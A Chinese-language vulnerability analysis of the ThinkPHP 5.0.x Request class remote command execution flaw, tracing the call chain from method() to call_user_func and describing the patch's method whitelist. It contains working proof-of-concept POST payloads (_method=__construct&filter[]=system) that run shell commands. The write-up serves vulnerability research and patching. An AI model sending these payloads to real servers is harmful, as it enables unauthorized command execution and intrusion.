ThinkPHP5.0 Request类远程命令执行漏洞分析20190111

1) 漏洞简介

2019年1月11日,ThinkPHP团队发布了一个补丁更新,修复了一处由于不安全的动态函数调用导致的远程代码执行漏洞。该漏洞危害程度非常高,默认安装条件下即远程命令执行。受影响的版本为ThinkPHP 5.0.0 - ThinkPHP 5.0.23完整版。

ThinkPHP 5.0.15【thinkphp/library/think/Request.php】:

1
2
3
4
5
6
Source: Request类的method() 方法中的:
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);

Sink: Request类的filterValue() 方法中的回调函数:
call_user_func($filter, $value)

2) 漏洞复现

ThinkPHP 5.0.15 POC:

下面POC 只有当debug模式开启时才可成功执行

1
2
POST /thinkphp5015/public/index.php HTTP/1.1
_method=__construct&filter[]=system&mytest=whoami

ThinkPHP 5.0.23 POC:

下面POC 在debug模式无论关闭或开启均可成功执行

1
2
POST /thinkphp5023/public/index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

下面POC 只有当debug模式开启时才可成功执行

1
2
POST /thinkphp5023/public/index.php?s=captcha HTTP/1.1
_method=__construct&filter[]=system&server[REQUEST_METHOD]=whoami

3) 漏洞分析(ThinkPHP 5.0.15)

github commit信息

首先看下官方github commit信息
https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003?diff=split
library/think/Request.php的public function method($method = false)方法

静态代码分析

以官网下载的ThinkPHP 5.0.15完整版进行分析,首先定位到漏洞关键点:
漏洞主要出现在Request 类的method 函数中
thinkphp5015\thinkphp/library/think/Request.php:501

method()函数可以用来获取当前请求类型,如 GET、POST 等,当传入参数$method为false 的时候,会通过var_method 来配置$method

508行method函数引入了一个外部可控的数据$_POST[Config::get[‘var_method’]。
在thinkphp5015\application\config.php中,可看到 ‘var_method’ 是表单请求伪变量,其默认值为 ‘_method’:

取得$_POST[‘_method’]的值并将其赋值给$this->method,然后动态调用$this->{$this->method}($_POST)。这意味着攻击者可利用POST 参数可以实现对当前类的任意方法进行调用,通过调用当前类的构造方法可以实现任意覆盖成员属性的值。如果动态调用__construct构造函数,可以实现任意覆盖成员属性的值则会导致代码执行。

在构造函数中,会判断其传入参数的key是否是该类属性,如果是,则将对应的value赋值给该属性,可以进行变量覆盖:

当method被赋值为construct之后,即$method参数为true 时,会通过server() 函数进入Request类的param()函数,进而input() >> getFilter() >> filterValue()
最终调用filterValue()中的回调函数call_user_func() 实现任意命令执行

当$method参数为true,进入server():

进入param()

进入input() >> getFilter() >> filterValue()

1008行 array_walk_recursive($data, [$this, ‘filterValue’], $filter);
利用回调函数array_walk_recursive,进入filterValue()

1
2
补充:array_walk_recursive ( array &$array , callable $callback [, mixed $userdata = NULL ] )
将用户自定义函数 callback 应用到 array 数组中的每个单元


1065行 call_user_func($filter, $value) 利用回调函数call_user_func() 触发漏洞,执行命令。

动态代码分析

测试POC:

1
2
POST /thinkphp5015/public/index.php HTTP/1.1
_method=__construct&filter[]=system&mytest=whoami

加断点:

__construct构造函数:

Request.php类的method(),method设为了__construct:

$method为true,进入server():

进入param():

return时进入input():

进入getFilter(),并通过回调函数array_walk_recursive()进入filterValue()

filterValue()中利用回调函数call_user_func() 触发漏洞,执行命令:

4) 补丁中的修复方式

https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003?diff=split

对$method增加白名单,限制为GET, POST, DELETE, PUT, PATCH
无法再调用__construct构造函数

参考:
https://nosec.org/home/detail/2163.html
https://paper.seebug.org/787/